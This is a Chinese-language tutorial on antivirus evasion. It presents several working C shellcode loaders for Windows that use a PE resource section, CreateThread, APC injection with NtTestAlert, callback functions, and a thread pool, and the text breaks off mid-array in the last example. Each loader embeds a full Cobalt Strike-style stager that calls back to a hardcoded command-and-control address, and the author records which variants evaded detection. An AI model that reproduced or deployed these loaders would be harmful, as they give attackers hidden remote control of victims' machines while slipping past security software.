shellcode的运行方式2

5:shellcode存放在资源节

分离免杀大多是存放在两个文件中/网络上, 针对PE文件全称Portable Executable(可移植的可执行文件), 我们可以设置其资源文件, 把我们的shellcode文件当做资源文件导入, 然后在程序中定位到资源文件的位置, 读取相应的字节大小, 加载执行

PE文件格式由几个主要部分组成

  1. DOS头部:这是每个PE文件都有的一个很小的头部,主要是为了保持与旧版DOS系统的兼容性。它包含了指向PE文件实际开始位置的一个指针。
  2. PE头部:PE头部包含了文件的重要信息,如文件类型(EXE或DLL)、目标平台、文件的日期和时间戳、链接器版本等。
  3. 节表:列出了文件中的各个节(section),每个节包含了特定类型的数据,例如代码、初始化数据、资源等。
  4. 节数据:是文件的实际内容,按照节表中定义的各个节来组织。
  5. 数据目录:提供了对PE文件中重要数据结构的引用,比如导入表、导出表、资源表等。

直接先添加资源

导入的是cs生成的 二进制的payload

资源类型可以自己定义 jsq

#include <windows.h>
#include <stdio.h>
#include "resource.h"
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口

int main() {
	/*
	FindResource用于查找指定模块(EXE或DLL文件)中指定名称和类型的资源,其语法格式如下:
	HRSRC FindResource(
	HMODULE hModule, //指向包含要查找的资源的模块的句柄,若该参数为NULL,则查找当前
	进程中的资源
	LPCTSTR lpName, //指向资源名称的指针,可以是一个字符串或者一个整数,若是一个整
	数,则它是一个由MAKEINTRESOURCE宏定义的资源标识符
	LPCTSTR lpType //指向资源类型的指针,可以是一个字符串或者一个整数。若是一个整数,
	则它是一个由MAKEINTRESOURCE宏定义的资源类型标识符
	);
	如果查找成功,则返回资源句柄;否则返回NULL
	*/
	HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_JSQ1), L"jsq");
	//用于获取资源的大小
	DWORD ResSize = SizeofResource(NULL, Res);
	//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数
		HGLOBAL Load = LoadResource(NULL, Res);
	//申请内存
		void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(buffer, Load, ResSize);
	//指针执行shellcode
	((void(*)()) buffer)();
}

能够成功上线 但是被杀

6:创建线程运行

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
unsigned char addr[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4e\x70\x4a\x55\x00\x81\x26\x65\x57\x49\x80\x31\x0f\xd3\xf9\x41\xc7\x88\x6a\xac\xac\x4f\x47\xf8\x18\x34\x62\x86\x10\x95\x8c\x87\xf8\xfc\x74\x52\xc2\xd0\xb6\x95\xd6\x77\xaa\x60\x31\xcf\x7f\xe6\x57\x5f\xd5\x6b\x50\xfe\x42\x9a\xee\x1e\x34\x4f\x03\x20\xcf\xa1\xea\x29\x7f\x03\xd6\xc7\x74\x0e\x59\x72\x29\xbb\xfe\x92\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x47\x57\x4a\x53\x29\x0d\x0a\x00\xd9\x0d\x64\x96\xe7\x34\xbe\xc9\xb8\x50\x4e\xdd\x6a\x01\x48\xa5\x08\x0b\xc5\x8f\x20\x9c\x9b\x4b\xb8\x3d\xa4\x35\xe7\xcb\x2a\xdb\xa6\xe1\x10\x0f\xe6\x6e\x78\x13\xc8\xc4\x76\x49\x0f\x06\xbe\xfe\xc2\xca\x7f\xe0\x01\x20\x56\xf3\xd9\x11\x0c\xd9\x78\xb0\xc8\x31\xb7\xa2\x4c\x22\xa1\x9e\x24\x95\xec\x72\x70\xf6\x1a\x38\xeb\x61\x77\x9f\xd3\x91\xa2\xfe\xa6\x50\x9b\x53\x4b\x83\x13\x08\x27\x43\xd7\xa1\x9d\x06\x2d\xa0\x4a\x35\x76\x0e\xda\xf5\x6e\x2d\xe3\xf4\x6a\x66\x72\x27\xd9\x22\x7d\xe0\x73\x89\x22\xa1\xcf\xe1\xa7\x81\xde\x2d\x58\x07\x06\xa5\xc6\x40\xca\xa7\x48\x0f\x84\x95\xcb\x09\x1b\xd7\xd5\x7f\xa3\x8f\x71\xaf\xc0\xa5\x8a\xf6\x12\x2c\x71\xe5\x51\xc6\x9c\x1f\x05\x71\xbe\xca\xe8\x4a\x82\xa8\x1e\xb3\x01\xdb\x87\x45\xb7\xdb\xa9\x90\xbf\xa3\x28\x30\x54\x2c\x74\x92\x84\x76\x10\x7f\x96\x80\x47\x79\xfe\xf7\xd2\xc7\x56\xa1\xc3\xb5\xf4\x55\xa3\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x2e\x31\x33\x31\x00\x00\x01\x86\xa0";

void main() {

	DWORD oldProtect = 0;
	// 修改数据内存属性为可执行
	VirtualProtect(addr, sizeof(addr), PAGE_EXECUTE_READWRITE, &oldProtect);
	// 把这个内存的数据转成指针函数, 函数()调用 , 执行shellcode代码 ,
	// 创建线程运行
	HANDLE hThread = CreateThread(NULL,
		NULL,
		(LPTHREAD_START_ROUTINE)&addr,//LPTHREAD_START_ROUTINE 是一个函数指针类型,而 addr 是一个 unsigned char 数组
		NULL,
		NULL,
		0);
	// 等待线程运行 
	WaitForSingleObject(hThread, -1);
	// 关闭线程
	CloseHandle(hThread);
}

这个居然没有被杀

7:APC注入运行

异步过程调用(APC)队列概述

异步过程调用(APC)队列是与线程相关联的队列,其作用是存储那些要在该线程上下文中异步执行的函数。操作系统内核会对每个线程的 APC 队列进行跟踪,并会在合适的时机去触发队列中处于挂起状态的函数。它常用于实现以下几个方面:

  • 线程间的异步通信:让不同线程间能以异步方式传递信息、执行相关操作。
  • 定时器回调:例如按照设定的时间间隔去执行特定函数。
  • 异步 I/O 操作:处理输入输出方面的异步任务。

APC 队列包含的类型

  • 内核模式 APC:由内核代码发起,主要用于处理内核级别的异步操作,像异步 I/O 完成这类情况就会涉及。
  • 用户模式 APC:由用户代码发起,能让处于用户态的应用程序把特定函数插入到线程的 APC 队列里,进而实现在线程上下文中异步执行相应函数。

基于 APC 队列执行 Shellcode 的实现思路

  1. 修改内存区域保护属性
    运用 VirtualProtect 函数,对 shellcode 所在的内存区域的保护属性进行修改,将其设定为可执行、可读、可写(即 PAGE_EXECUTE_READWRITE 属性),只有这样才能顺利执行该内存区域中包含的代码。
  2. 获取特定函数地址
    要获取 NtTestAlert 函数的地址,它属于一个内部函数,没办法直接通过函数名去调用。该函数的关键作用在于检查当前线程的 APC 队列,一旦队列中存在挂起的用户模式 APC 请求,调用 NtTestAlert 函数就能触发这些请求的执行。
  3. 添加执行任务到 APC 队列
    利用 QueueUserAPC 函数,向当前线程的 APC 队列添加一个执行 Shellcode 的任务,如此一来,在后续 NtTestAlert 函数被调用时,就会执行这个 Shellcode。
  4. 触发任务执行
    调用 NtTestAlert 函数,以此触发 APC 队列中已添加的任务执行,最终实现 Shellcode 的执行。
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
unsigned char sc[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4e\x70\x4a\x55\x00\x81\x26\x65\x57\x49\x80\x31\x0f\xd3\xf9\x41\xc7\x88\x6a\xac\xac\x4f\x47\xf8\x18\x34\x62\x86\x10\x95\x8c\x87\xf8\xfc\x74\x52\xc2\xd0\xb6\x95\xd6\x77\xaa\x60\x31\xcf\x7f\xe6\x57\x5f\xd5\x6b\x50\xfe\x42\x9a\xee\x1e\x34\x4f\x03\x20\xcf\xa1\xea\x29\x7f\x03\xd6\xc7\x74\x0e\x59\x72\x29\xbb\xfe\x92\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x47\x57\x4a\x53\x29\x0d\x0a\x00\xd9\x0d\x64\x96\xe7\x34\xbe\xc9\xb8\x50\x4e\xdd\x6a\x01\x48\xa5\x08\x0b\xc5\x8f\x20\x9c\x9b\x4b\xb8\x3d\xa4\x35\xe7\xcb\x2a\xdb\xa6\xe1\x10\x0f\xe6\x6e\x78\x13\xc8\xc4\x76\x49\x0f\x06\xbe\xfe\xc2\xca\x7f\xe0\x01\x20\x56\xf3\xd9\x11\x0c\xd9\x78\xb0\xc8\x31\xb7\xa2\x4c\x22\xa1\x9e\x24\x95\xec\x72\x70\xf6\x1a\x38\xeb\x61\x77\x9f\xd3\x91\xa2\xfe\xa6\x50\x9b\x53\x4b\x83\x13\x08\x27\x43\xd7\xa1\x9d\x06\x2d\xa0\x4a\x35\x76\x0e\xda\xf5\x6e\x2d\xe3\xf4\x6a\x66\x72\x27\xd9\x22\x7d\xe0\x73\x89\x22\xa1\xcf\xe1\xa7\x81\xde\x2d\x58\x07\x06\xa5\xc6\x40\xca\xa7\x48\x0f\x84\x95\xcb\x09\x1b\xd7\xd5\x7f\xa3\x8f\x71\xaf\xc0\xa5\x8a\xf6\x12\x2c\x71\xe5\x51\xc6\x9c\x1f\x05\x71\xbe\xca\xe8\x4a\x82\xa8\x1e\xb3\x01\xdb\x87\x45\xb7\xdb\xa9\x90\xbf\xa3\x28\x30\x54\x2c\x74\x92\x84\x76\x10\x7f\x96\x80\x47\x79\xfe\xf7\xd2\xc7\x56\xa1\xc3\xb5\xf4\x55\xa3\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x2e\x31\x33\x31\x00\x00\x01\x86\xa0";
typedef DWORD(WINAPI* pNtTestAlert)();
void main() {
	// 修改 shellcode 所在内存区域的保护属性,允许执行
	DWORD oldProtect;
	VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
	/*
	获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
	这个函数用于检查当前线程的 APC(Asynchronous Procedure Call,异步过程调用)队列,如
	果队列中有挂起的用户模式 APC 请求,NtTestAlert 将触发它们的执行
	*/
	pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"),
		"NtTestAlert"));
	// 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
	QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)sc, GetCurrentThread(),
		NULL);
	//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
	NtTestAlert();
}

被杀

8:回调函数运行

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
unsigned char sc[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4e\x70\x4a\x55\x00\x81\x26\x65\x57\x49\x80\x31\x0f\xd3\xf9\x41\xc7\x88\x6a\xac\xac\x4f\x47\xf8\x18\x34\x62\x86\x10\x95\x8c\x87\xf8\xfc\x74\x52\xc2\xd0\xb6\x95\xd6\x77\xaa\x60\x31\xcf\x7f\xe6\x57\x5f\xd5\x6b\x50\xfe\x42\x9a\xee\x1e\x34\x4f\x03\x20\xcf\xa1\xea\x29\x7f\x03\xd6\xc7\x74\x0e\x59\x72\x29\xbb\xfe\x92\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x47\x57\x4a\x53\x29\x0d\x0a\x00\xd9\x0d\x64\x96\xe7\x34\xbe\xc9\xb8\x50\x4e\xdd\x6a\x01\x48\xa5\x08\x0b\xc5\x8f\x20\x9c\x9b\x4b\xb8\x3d\xa4\x35\xe7\xcb\x2a\xdb\xa6\xe1\x10\x0f\xe6\x6e\x78\x13\xc8\xc4\x76\x49\x0f\x06\xbe\xfe\xc2\xca\x7f\xe0\x01\x20\x56\xf3\xd9\x11\x0c\xd9\x78\xb0\xc8\x31\xb7\xa2\x4c\x22\xa1\x9e\x24\x95\xec\x72\x70\xf6\x1a\x38\xeb\x61\x77\x9f\xd3\x91\xa2\xfe\xa6\x50\x9b\x53\x4b\x83\x13\x08\x27\x43\xd7\xa1\x9d\x06\x2d\xa0\x4a\x35\x76\x0e\xda\xf5\x6e\x2d\xe3\xf4\x6a\x66\x72\x27\xd9\x22\x7d\xe0\x73\x89\x22\xa1\xcf\xe1\xa7\x81\xde\x2d\x58\x07\x06\xa5\xc6\x40\xca\xa7\x48\x0f\x84\x95\xcb\x09\x1b\xd7\xd5\x7f\xa3\x8f\x71\xaf\xc0\xa5\x8a\xf6\x12\x2c\x71\xe5\x51\xc6\x9c\x1f\x05\x71\xbe\xca\xe8\x4a\x82\xa8\x1e\xb3\x01\xdb\x87\x45\xb7\xdb\xa9\x90\xbf\xa3\x28\x30\x54\x2c\x74\x92\x84\x76\x10\x7f\x96\x80\x47\x79\xfe\xf7\xd2\xc7\x56\xa1\xc3\xb5\xf4\x55\xa3\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x2e\x31\x33\x31\x00\x00\x01\x86\xa0";
void main() {
	// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
	LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE);
	// 申请失败 , 退出
	if (addr == NULL) {
		return;
	}
	// 把shellcode拷贝到这块内存
	memcpy(addr, sc, sizeof(sc));
	// 使用回调函数调用执行 
	EnumDateFormatsA((DATEFMT_ENUMPROCA)addr, NULL, NULL);
}
EnumDateFormatsA((DATEFMT_ENUMPROCA)addr, NULL, NULL); //如果是申请的内存 可以直接addr
//但是如果是开辟的内存记得加上&addr

EnumUILanguages((UILANGUAGE_ENUMPROC)addr, 0, 0);//具体回调函数的参数可以去查

CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, 0, 0, (PFN_CERT_ENUM_SYSTEM_STORE)addr);
//运行不了记得加&

这是各类回调函数的手册

zz​​​​​​​https://learn.microsoft.com/zh-cn/windows/win32/api/winnls/nf-winnls-enumdateformatsa

9:创建线程池运行

#include<Windows.h>
#include<stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
unsigned char sc[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4e\x70\x4a\x55\x00\x81\x26\x65\x57\x49\x80\x31\x0f\xd3\xf9\x41\xc7\x88\x6a\xac\xac\x4f\x47\xf8\x18\x34\x62\x86\x10\x95\x8c\x87\xf8\xfc\x74\x52\xc2\xd0\xb6\x95\xd6\x77\xaa\x60\x31\xcf\x7f\xe6\x57\x5f\xd5\x6b\x50\xfe\x42\x9a\xee\x1e\x34\x4f\x03\x20\xcf\xa1\xea\x29\x7f\x03\xd6\xc7\x74\x0e\x59\x72\x29\xbb\xfe\x92\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x47\x57\x4a\x53\x29\x0d\x0a\x00\xd9\x0d\x64\x96\xe7\x34\xbe\xc9\xb8\x50\x4e\xdd\x6a\x01\x48\xa5\x08\x0b\xc5\x8f\x20\x9c\x9b\x4b\xb8\x3d\xa4\x35\xe7\xcb\x2a\xdb\xa6\xe1\x10\x0f\xe6\x6e\x78\x13\xc8\xc4\x76\x49\x0f\x06\xbe\xfe\xc2\xca\x7f\xe0\x01\x20\x56\xf3\xd9\x11\x0c\xd9\x78\xb0\xc8\x31\xb7\xa2\x4c\x22\xa1\x9e\x24\x95\xec\x72\x70\xf6\x1a\x38\xeb\x61\x77\x9f\xd3\x91\xa2\xfe\xa6\x50\x9b\x53\x4b\x83\x13\x08\x27\x43\xd7\xa1\x9d\x06\x2d\xa0\x4a\x35\x76\x0e\xda\xf5\x6e\x2d\xe3\xf4\x6a\x66\x72\x27\xd9\x22\x